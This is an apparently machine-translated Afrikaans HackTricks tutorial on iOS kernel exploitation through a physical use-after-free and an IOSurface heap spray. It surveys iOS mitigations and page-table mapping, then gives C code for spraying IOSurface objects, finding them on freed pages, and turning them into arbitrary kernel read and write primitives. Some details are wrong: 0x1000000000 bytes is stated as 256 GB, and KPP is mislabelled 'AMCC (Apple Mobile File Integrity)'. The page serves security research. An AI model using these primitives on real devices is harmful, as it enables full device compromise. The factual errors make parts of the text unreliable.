iOS Physical Use After Free via IOSurface

Reading time: 13 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

iOS Exploit Mitigations

  • Code Signing in iOS werk deur te vereis dat elke stuk uitvoerbare kode (apps, libraries, extensions, ens.) kryptografies geteken is met ’n sertifikaat uitgereik deur Apple. Wanneer kode gelaai word, verifieer iOS die digitale handtekening teen Apple se vertroude root. As die handtekening ongeldig, afwesig of gewysig is, weier die OS om dit uit te voer. Dit voorkom dat aanvalle kwaadwillige kode in legitieme apps inspuit of unsigned binaries laat hardloop, en stop dus die meeste exploit-kettings wat staatmaak op die uitvoering van arbitrĂȘre of gewysigde kode.
  • CoreTrust is die iOS-substelsel wat code signing by runtime afdwing. Dit verifieer handtekeninge direk met Apple se root-sertifikaat sonder om op gecachte trust-stores te staatmaak, wat beteken slegs binaries geteken deur Apple (of met geldige entitlements) kan uitgevoer word. CoreTrust maak seker dat selfs as ’n aanvaller ’n app na installasie manipuleer, stelselbiblioteke wysig of probeer unsigned code laai, die stelsel die uitvoering blokkeer tensy die kode steeds korrekt geteken is. Hierdie streng afdwinging sluit baie post-exploitation vektore wat ouer iOS-weergawes deur swakker of omseilbare handtekeningskontroles toegelaat het.
  • Data Execution Prevention (DEP) merk geheuegebiede as nie-uitvoerbaar tensy hulle eksplisiet kode bevat. Dit keer dat aanvallers shellcode in data-gebiede (soos die stack of heap) inspuit en dit uitvoer, wat hulle dwing om op meer komplekse tegnieke soos ROP (Return-Oriented Programming) te staatmaak.
  • ASLR (Address Space Layout Randomization) randomiseer die geheueadresse van kode, libraries, stack en heap elke keer as die stelsel loop. Dit maak dit baie moeiliker vir aanvallers om te voorspel waar nuttige instruksies of gadgets is en breek vele exploit-kettings wat van vaste geheue-lĂȘers afhanklik is.
  • KASLR (Kernel ASLR) pas dieselfde randomisasiekonsep toe op die iOS-kernel. Deur die kernel se basisadres by elke opstart te skuif, voorkom dit dat aanvallers betroubaar kernel-funksies of strukture lokaliseer, wat die moeilikheidsgraad van kernel-level exploits verhoog wat andersins volle stelselbeheer sou kry.
  • Kernel Patch Protection (KPP), ook bekend as AMCC (Apple Mobile File Integrity) in iOS, monitor voortdurend die kernel se code pages om seker te maak hulle is nie gemanipuleer nie. As enige tampering opgespoor word—soos ’n exploit wat kernel-funksies probeer patch of kwaadwillige kode invoeg—sal die toestel onmiddellik panic en herbegin. Hierdie beskerming maak volhoubare kernel-exploits baie moeilik, aangesien aanvallers nie eenvoudig kernel-instruksies kan hook of patch sonder om ’n stelselkras te veroorsaak nie.
  • Kernel Text Readonly Region (KTRR) is ’n hardware-gebaseerde sekuriteitsfunksie wat op iOS-toestelle geĂŻntroduseer is. Dit gebruik die CPU se geheuekontroller om die kernel se code (text) afdeling na boot permanent as read-only te merk. Sodra dit gesluit is, kan selfs die kernel self nie hierdie geheuegebied wysig nie. Dit voorkom dat aanvallers—en selfs geprivilegieerde kode—kernel-instruksies by runtime patch, en sluit ’n groot klas exploits wat daarop staatmaak.
  • Pointer Authentication Codes (PAC) gebruik kriptografiese handtekeninge ingesluit in ongebruikte bis van pointers om hul integriteit voor gebruik te verifieer. Wanneer ’n pointer (soos ’n return address of function pointer) geskep word, teken die CPU dit met ’n geheime sleutel; voor dereferensie kontroleer die CPU die handtekening. As die pointer gemanipuleer is, misluk die kontrole en stop uitvoering. Dit voorkom dat aanvallers pointers vervals of hergebruik in geheuekorruptie-exploits, wat tegnieke soos ROP of JOP baie moeiliker maak om betroubaar uit te voer.
  • Privilege Access never (PAN) is ’n hardware-funksie wat verhoed dat die kernel (geprivilegieerde modus) direk user-space geheue toegang sonder om dit eksplisiet te aktiveer. Dit stop aanvallers wat kernel code execution verkry het om maklik user memory te lees of te skryf om privileges te eskaleer of sensitiewe data te steel. Deur streng skeiding af te dwing, verminder PAN die impak van kernel-exploits en blokkeer baie algemene privilege-escalation tegnieke.
  • Page Protection Layer (PPL) is ’n iOS-sekuriteitsmeganisme wat kritieke kernel-beheerde geheuegebiede beskerm, veral diĂ© wat verband hou met code signing en entitlements. Dit handhaaf stringe skryfbeskermings deur die MMU (Memory Management Unit) en addisionele kontroles, wat verseker dat selfs geprivilegieerde kernel-kode nie lukraak sensitiewe pages kan wysig nie. Dit voorkom dat aanvalle wat kernel-vlak uitvoering kry, sekuriteitskritieke strukture manipuleer, wat volharding en code-signing omseilings aansienlik moeiliker maak.

Physical use-after-free

This is a summary from the post from https://alfiecg.uk/2024/09/24/Kernel-exploit.html moreover further information about exploit using this technique can be found in https://github.com/felix-pb/kfd

Memory management in XNU

Die virtual memory address space vir user-prosesse op iOS strek van 0x0 tot 0x8000000000. Hierdie adresse kaart egter nie direk na physical memory nie. In plaas daarvan gebruik die kernel page tables om virtual adresse na werklike physical addresses te vertaal.

Levels of Page Tables in iOS

Page tables is hiërargies in drie vlakke georganiseer:

  1. L1 Page Table (Level 1):
  • Elke entry hier verteenwoordig ’n groot reeks van virtual memory.
  • Dit dek 0x1000000000 bytes (of 256 GB) van virtual memory.
  1. L2 Page Table (Level 2):
  • ’n Entry hier verteenwoordig ’n kleiner streek van virtual memory, spesifiek 0x2000000 bytes (32 MB).
  • ’n L1 entry kan na ’n L2 table wys as dit die hele streek nie self kan map nie.
  1. L3 Page Table (Level 3):
  • Dit is die fynste vlak, waar elke entry ’n enkele 4 KB memory page map.
  • ’n L2 entry kan na ’n L3 table wys indien meer gedetailleerde beheer benodig word.

Mapping Virtual to Physical Memory

  • Direct Mapping (Block Mapping):
  • Sommige entries in ’n page table map direk ’n reeks virtual addresses na ’n aaneenlopende reeks physical addresses (soos ’n snelweg).
  • Pointer to Child Page Table:
  • As meer fyn beheer nodig is, kan ’n entry op een vlak (bv. L1) na ’n child page table op die volgende vlak (bv. L2) wys.

Example: Mapping a Virtual Address

Kom ons sĂȘ jy probeer toegang kry tot die virtual address 0x1000000000:

  1. L1 Table:
  • Die kernel kyk die L1 page table entry wat ooreenstem met hierdie virtual address na. As dit ’n pointer to an L2 page table het, gaan dit na daardie L2 table.
  1. L2 Table:
  • Die kernel kyk die L2 page table vir ’n meer gedetailleerde mapping. As hierdie entry na ’n L3 page table wys, gaan dit voort daarheen.
  1. L3 Table:
  • Die kernel soek die finale L3 entry, wat na die physical address van die werklike memory page wys.

Example of Address Mapping

As jy die physical address 0x800004000 in die eerste index van die L2 table skryf, dan:

  • Virtual addresses van 0x1000000000 tot 0x1002000000 map na physical addresses van 0x800004000 tot 0x802004000.
  • Dit is ’n block mapping op die L2-vlak.

Alternatiewelik, as die L2 entry na ’n L3 table wys:

  • Elke 4 KB page in die virtual address-reeks 0x1000000000 -> 0x1002000000 sal deur individuele entries in die L3 table gemap word.

Physical use-after-free

A physical use-after-free (UAF) gebeur wanneer:

  1. ’n Proses alloceer sekere geheue as readable and writable.
  2. Die page tables word opgedateer om hierdie geheue aan ’n spesifieke physical address te koppel wat die proses kan gebruik.
  3. Die proses dealloceer (vrymaak) die geheue.
  4. As gevolg van ’n bug, vergeet die kernel egter om die mapping uit die page tables te verwyder, selfs al merk dit die ooreenstemmende physical memory as vry.
  5. Die kernel kan dan hierdie “vrygemaakte” physical memory opnuut toewys vir ander doeleindes, soos kernel data.
  6. Omdat die mapping nie verwyder is nie, kan die proses steeds lees en skryf na hierdie physical memory.

Dit beteken die proses kan toegang kry tot pages van kernel memory, wat sensitiewe data of strukture kan bevat, en moontlik ’n aanvaller in staat stel om kernel memory te manipuleer.

IOSurface Heap Spray

Aangesien die aanvaller nie kan beheer watter spesifieke kernel pages aan vrygemaakte memory toegeken sal word nie, gebruik hulle ’n tegniek genaamd heap spray:

  1. Die aanvaller skep ’n groot aantal IOSurface objects in kernel memory.
  2. Elke IOSurface object bevat ’n magic value in een van sy velde, wat dit maklik maak om te identifiseer.
  3. Hulle skandeer die vrygemaakte pages om te sien of enige van hierdie IOSurface objects op ’n vrygemaakte page beland het.
  4. Wanneer hulle ’n IOSurface object op ’n vrygemaakte page vind, kan hulle dit gebruik om kernel memory te lees en te skryf.

More info about this in https://github.com/felix-pb/kfd/tree/main/writeups

tip

Wees bewus dat iOS 16+ (A12+) toestelle hardware-mitigations bring (soos PPL of SPTM) wat physical UAF-tegnieke veel minder lewensvatbaar maak. PPL handhaaf streng MMU-beskermings op pages wat verband hou met code signing, entitlements, en sensitiewe kernel-data, so selfs as ’n page hergebruik word, word skryfoperasies van userland of gekompromitteerde kernel-kode na PPL-beskermde pages geblokkeer. Secure Page Table Monitor (SPTM) brei PPL uit deur page table updates self te verhard. Dit verseker dat selfs geprivilegieerde kernel-kode nie stilweg vrygemaakte pages kan her-map of mappings kan manipuleer sonder om deur veilige kontroles te gaan nie. KTRR (Kernel Text Read-Only Region) sluit die kernel se code-afdeling as read-only na boot. Dit voorkom enige runtime-wysigings aan kernel-kode, en sluit ’n groot aanvalspad wat physical UAF-exploits dikwels benut. Boonop is IOSurface allocations minder voorspelbaar en moeiliker om in user-accessible streke te map, wat die “magic value scanning” truuk baie minder betroubaar maak. En IOSurface word nou verder beskerm deur entitlements en sandbox-beperkings.

Step-by-Step Heap Spray Process

  1. Spray IOSurface Objects: Die aanvalleur skep baie IOSurface objects met ’n spesiale identifiseerder ("magic value").
  2. Scan Freed Pages: Hulle kyk of enige van die objects op ’n vrygemaakte page toegeken is.
  3. Read/Write Kernel Memory: Deur velde in die IOSurface object te manipuleer, verkry hulle die vermoë om arbitrary reads and writes in kernel memory uit te voer. Dit laat hulle toe om:
  • Gebruik een veld om read any 32-bit value in kernel memory.
  • Gebruik ’n ander veld om write 64-bit values, en so ’n stabiele kernel read/write primitive te verkry.

Generate IOSurface objects with the magic value IOSURFACE_MAGIC to later search for:

c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

Soek na IOSurface-voorwerpe in een vrygestelde fisiese bladsy:

c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Bereik Kernel Lees/Skryf met IOSurface

Nadat jy beheer oor 'n IOSurface-objek in kernel-geheue bereik het (gemap na 'n vrygemaakte fisiese bladsy wat vanaf userspace toeganklik is), kan ons dit gebruik vir arbitrĂȘre kernel lees- en skryfoperasies.

Belangrike velde in IOSurface

Die IOSurface-objek het twee kernvelde:

  1. Use Count Pointer: Laat 'n 32-bit lees toe.
  2. Indexed Timestamp Pointer: Laat 'n 64-bit skryf toe.

Deur hierdie aanwysers oor te skryf, herlei ons hulle na arbitrĂȘre adresse in die kernel-geheue, wat lees-/skryfvermoĂ«ns moontlik maak.

32-Bit Kernel Lees

Om 'n lees uit te voer:

  1. Oorskryf die use count pointer sodat dit na die teikenadres wys minus 'n 0x14-byte offset.
  2. Gebruik die get_use_count metode om die waarde by daardie adres te lees.
c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

64-bis kernelskryf

Om 'n skryfoperasie uit te voer:

  1. Oorskryf die geĂŻndekseerde tydstempel-aanwyser na die teikenadres.
  2. Gebruik die set_indexed_timestamp metode om 'n 64-bit waarde te skryf.
c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Opsomming van die Exploit-vloei

  1. Trigger Physical Use-After-Free: Vrye bladsye is beskikbaar vir hergebruik.
  2. Spray IOSurface Objects: Allokeer baie IOSurface-objekte met 'n unieke "magic value" in kernel memory.
  3. Identify Accessible IOSurface: Lokaliseer 'n IOSurface op 'n vrygemaakte bladsy wat jy beheer.
  4. Abuse Use-After-Free: Wysig pointers in die IOSurface-objek om ewekansige kernel read/write via IOSurface-metodes moontlik te maak.

Met hierdie primitiewe verskaf die exploit beheerde 32-bit reads en 64-bit writes na kernel memory. Verdere jailbreak-stappe kan meer stabiele read/write primitives behels, wat vereis dat addisionele beskermings omseil word (bv. PPL op nuwer arm64e-toestelle).

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks